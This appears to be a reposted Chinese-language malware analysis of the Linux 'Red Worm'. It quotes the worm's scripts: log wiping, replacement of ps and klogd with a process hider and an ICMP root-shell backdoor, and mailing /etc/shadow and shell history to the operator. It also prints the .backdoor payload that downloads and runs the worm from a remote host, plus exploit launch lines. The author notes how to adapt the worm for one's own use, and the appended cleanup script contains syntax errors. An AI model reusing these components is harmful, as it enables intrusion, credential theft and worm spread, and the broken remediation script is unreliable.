当前位置:首页 > 服务器类 > 安全防护 > > Red Worm 简单分析

Red Worm 简单分析

点击次数:16 次 发布日期:2008-11-29 18:04:15 作者:源代码网


源代码网供稿.

源代码网推荐

 Red worm是一个比较有名的Linux平台的蠕虫(继承了拉面蠕虫的很多有点).
国内很多人喜欢用他收集肉鸡.该蠕虫通过利用Redhat Linux6.x bind溢出, Red
Hat Linux 6.x的RPC.statd溢出漏洞,Linux wuftp-2.6.0的溢出漏洞,Redhat
Linux 7.0的LPRNG的格式化字符串漏洞进行传播.我研究这个worm比较久了,一直
没有写出结果来,这几天闲着,就胡乱写点吧.
    Red Worm主要包括网络扫描部分,后门部分,以及控制部分.
    首先获取red.tar包,tar -xvf解开一共有如下几个文件:
.backdoor
.statdx
.bind
0anacron  
icmp.c   
mail2.sh    
pscan-lprng   
start-bind   
statdx
bind      
lpd     
ps          
pscan-statdx
start-lprng  
statdxscan
bindscan  
lpd7.sh  
ps.c        
randb         
start-statd  
wuftpd26
getip     
lpdscan  
pscan-bind  
scan.pl       
start-wu26   
wuftpd26scan
icmp      
mail.sh  
pscan-ftpd  
start         
start.sh     
wuscan
下面我们分开讲.

  首先,我们看看启动脚本start.sh,shell写的.(我们截取主要的讲)
  #!/bin/sh
   ..........
  echo >/var/log/messages #清除日志.
  ..............
cc -o icmp icmp.c 1>>/dev/null 2>>/dev/null 3>>/dev/null
cc -o ps ps.c;cp /bin/ps /usr/bin/adore;cp ps /bin;touch -r  
/usr/bin/adore /bin/ps #以上编译相关的部件,其中icmp是后门程序,ps则是隐
藏进程的进程.他把编译后的fake ps程序替换原来的/bin/ps ,原来的ps被复制到
/usr/bin下面并且改名为adore.(黑啊!)
............................
cp /sbin/klogd /usr/lib/klogd.o;cp icmp /sbin/klogd #用后门程序替换
klogd.
.........................................
cp /etc/cron.daily/0anacron 0anacron-bak >>/dev/null 2>>/dev/null;
cp 0anacron /etc/cron.daily #这里也是替代一些配置文件.
.....................................................

echo ftp >>/etc/ftpusers;echo anonymous >>/etc/ftpusers;#激活ftp服务器
的匿名账号.(真黑)
.................................................
echo /**************************HOST IP*****************************/ >
mail.txt
ifconfig >>mail.txt
echo /**************************PS*********************************/ >>
mail.txt
adore -aux >>mail.txt
echo /**************************HISTORY***************************/ >>
mail.txt
cat /root/.bash_history >>mail.txt
echo /************************HOSTS*****************************/ >>
mail.txt
cat /etc/hosts >>mail.txt
echo /************************PASSWD***************************/ >>
mail.txt
cat /etc/shadow >>mail.txt
mail.sh
echo >/var/log/maillog
echo >/var/log/messages
rm -rf go* mail.txt
./start
上面这里才是最黑的,呵呵~他吧一些系统敏感信息通过e-amil发送出去,包括
shadow,hosts等等..并且清除了日志.(管理员知道非吐血不可).蠕虫的start.sh
中大概为了确保发送的文件能够顺利被收到,所以连续发送两次.
   最后运行了start程序,我们看看内容先(经检查是一个shell脚本),其中包含了
   nohup ./start-bind >>/dev/null &
   nohup ./start-statd >>/dev/null &
   nohup ./start-lprng >>/dev/null &
熟悉Linux系统的朋友一定发现了,这个就是启动了某个进程,而且用nohup确保安
装账号断开,扫描进程也能继续执行.挑一个看看~就你吧---start-bind文件.检查
发现也是一个shell脚本(看来shell编程的确相当重要哦~呵呵)内容如下:
#!/bin/sh
while true
do
  CLASSB=`./randb`
  rm -rf bindname.log
  ./pscan-bind $CLASSB 53 >>/dev/null
  ./bindscan >>/dev/null
done
看到了$CLASSB变量了吗,加上后面的53(port)??看这个变量的名称,以及
pscan-bind的文件名基本可以确定,这是一个扫描程序
[Bytes@Linuxstation lib]# ./pscan-bind
Usage: ./pscan-bind [c-block]
果然不出所料,这个就是用来搜索网络上存在bind溢出漏洞的服务器的.这个扫描
器可以扫描一个B类地址或者一个C类地址,蠕虫的作者选择了扫描B类,因为这样一
次可以扫出更多有漏洞的服务器.(为什么不直接扫A类??呵呵~怕虫虫爬的太累?)
经过检查其余的start-*也大同小异,都是负责控制搜索相对应漏洞的扫描器的.
那么randb程序呢??
[Bytes@Linuxstation lib]#./randb
17.118
什么东西??哦~原来是随机生成一个B类地址的.(原来就是他提供的替罪羊.)
那scan.pl是啥东西呢??还有最开头的隐藏文件就是前面有"."的啦.别急,慢慢来.
经过检查(没办法限于篇幅,就不罗列内容了)scan.pl是用于从扫描生成的报告文
件中分离出ip. 而那些隐藏文件就是控制exploit的.也就是从ip lists中读取IP
然后用exploit攻击.我们可以随便看一个.statdx文件内容:
ip="$1"
./statdx -d 0 $ip <.backdoor 1>>/dev/null 2>>/dev/null 3>>/dev/null 4>>
/dev/null 5>>/dev/null &
sleep 60
killall -9 statdx 1>>/dev/null 2>>/dev/null 3>>/dev/null
exit 1

./statdx -d 参数就是该exploit用以选择目标服务器版本的.
后面的.backdoor是啥??打开看看:
TERM="linux"
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin"
lynx -dump_blank href=http://ip/red.tar>http://ip/red.tar >/usr/lib/red.tar
[ -f /usr/lib/red.tar ] || exit 0
cd /usr/lib;tar -xvf red.tar;rm -rf red.tar;cd lib;./start.sh
哦~原来是溢出成功后在新感染的主机上执行的命令.
./statdx -d 0 $ip <.backdoor 就是导出.backdoor中的指令等待溢出成功后就
执行.Red Worm和许多Linux下面的Worm类似,采用lynx 下载它的副本.(呵呵~万一
没有怎么办 :( 也有的Worm就自己带了相关的程序.有的带了小型的http守护进程
.)至于statdx bind lpd这几个文件就是exploit. 而lpd7.sh呢??
   #!/bin/sh
#redhat7-lpd
#
if [ "$1" = "" ]; then
  echo "Usage: lpd7 "
  exit
fi

./lpd $1 -t 0 -r 0xbffff3dc
./lpd $1 -t 0 -r 0xbffff128
./lpd $1 -t 0 -r 0xbffff148
./lpd $1 -t 0 -r 0xbffff3c8
./lpd $1 -t 0 -r 0xbffff488
./lpd $1 -t 0 -r 0xbffff3e8
./lpd $1 -t 0 -r 0xbffff3d8
./lpd $1 brute -t 0
是控制针对Redhat Linux 7.0 LPRNG的exploit的.他提供了一些ret地址.(呵呵~
提高成功率,快copy~!)这个蠕虫包有e-mail通知功能,这一功能通过mail.sh
mail2.sh配置,可以配置接收的e-mail地址.getip这个程序是一个shell脚本,经
过检查,是用来获取localhost IP的.至于ps,icmp程序,作者提供了源码,先看看
ps.c部分源码:
    

#define PR "adore" /* Name of hidden ps */
#define PS "/usr/bin/adore" /* full path */
#define ERR "/tmp/.problem" /* error handling */
#define TMP "/tmp/.tmp" /* temporary file */
#define nr 24 /* no. lines in lns */
#define OFFSET 100 /* for a safer world */

char *lns[nr] = { /* fill in what you"d- */
"/bin/sh -i", /* like to be removed */
"xargs",
".bla",
"cat",
"./pscan",
"tail",
"sh ./",
"./bind",
"xargs -l -P",
"sh -c",
可以看出这个程序先将真正的ps程序输出结果写入一个文件,然后过滤lns数组中
进程名,然后把过滤后的结果打印在屏幕上.这样起到了隐藏进程的目的.(有的
Worm还会使用LKM技术,截获系统调用,更黑!呵呵)
icmp.c部分源码:
#define SIZEPACK 77
#define PORT     65535
这就是那个很有名气的ping backdoor(lion最初的那个windows下面的就是照他
移植的),他接收一个指定大小的icmp报文,然后绑定一个root shell 到65535
(HoHO~够高的,摩天....).这里默认是接收大小为77的包.也就是你在windows下
面执行ping -l 77 ip ,然后就可以连接.
       最后讲名称比较古怪的0anacron.它的作用就是等Worm的扫描结束以后,
终止一些进程,并且恢复被修改的系统.(怪不得icmp要替代klogd,原来后来会失
去fake ps的保护啊.呵呵~不过这个Worm比较高明,他不是像有些worm,比如lion,
一进去就扫个没完,是系统越来越慢,Red Worm这样就使管理员比较难发现被入侵
过了.不过这个worm还是有一些破绽,比如他扫描的时候执行netstat -an 就可以
发现它.还有修改文件的一些方式也可以被当作是它的特征来辨识,类似:
cp /etc/cron.daily/0anacron 0anacron-bak在启动脚本中的这句等等.
    不过这个Worm还算是比较不错的.如果你要使用至少需要修改mail2.sh
mail.sh .backdoor这几个文件.而且由于大部分负责流程控制的程序使用shell编
写,所以你很容易给它扩展功能.
    本文篇幅有限,没能够做到详尽,有兴趣的朋友欢迎一起探讨.最后附一个检查
清除的脚本.本人技术有限(菜鸟级),本文行文难免有疏漏之处,还望各路高手指出
.
  
附录:解决方案:

#!/bin/bash
echo " Clean Red Worm Shell Scripts";
echo " Written By Bytes  2002-07-28";
echo " E-mail:bytes2000@163.com    ";
echo " HomePage_blank href=http://ubytes.yeah.net>http://ubytes.yeah.net";
echo " Start to check........";
echo "Now checking 0anacron .....";
echo
echo
if [-f /etc/cron.daily/0anacron-bak];then
echo "Found Red Worm ! File: 0anacron  had changed !;
mv   /etc/cron.daily/0anacron-bak    /etc/cron.daily/0anacron;
echo "We had repaired 0anacron ! :> ";
fi
if [-f /usr/lib];then
  echo "Now cheking lib direction....";
else
  echo "Now checking lib direction...";
  echo "Found Red Worm ! Direction:/usr/lib had removed ! ";
  echo "We **** could not repair it*******";
fi
echo"Now checking /bin/ps file.........";
strings /bin/ps |grep "randb" >check.log;
ps = "cat ./check.log";
if [ $ps ep "randb"];then
echo "Found Red Worm ! File :/bin/ps had changed ! ";
   if[ -f /usr/bin/adore];then
      mv /usr/bin/adore /bin/ps;
      echo "We had repair ps ! :>";
    else
      echo "We **** could not repair it ****";
    fi
fi
if [ -f /sbin/klogd];then
echo "Now checking /sbin/klogd......";
strings /sbin/klogd |grep "icmp" >check.log;
Klogd = "cat ./check.log";
    if [ $Klogd ep "icmp"];then
      echo "Found Red Worm ! File: /sbin/klogd had changed it into A backdoor ! ";
      echo "We **** could not repair it ****";
      fi
fi
echo " Checking Done. If you is attacked, We could not repair all files ,sorry. Please Do it

yourself. ";
rm -f check.log;
echo "Exit,Bye.";

源代码网整理以下

网友评论 (0)
会员中心
服务器类
本站推荐
服务器类之精华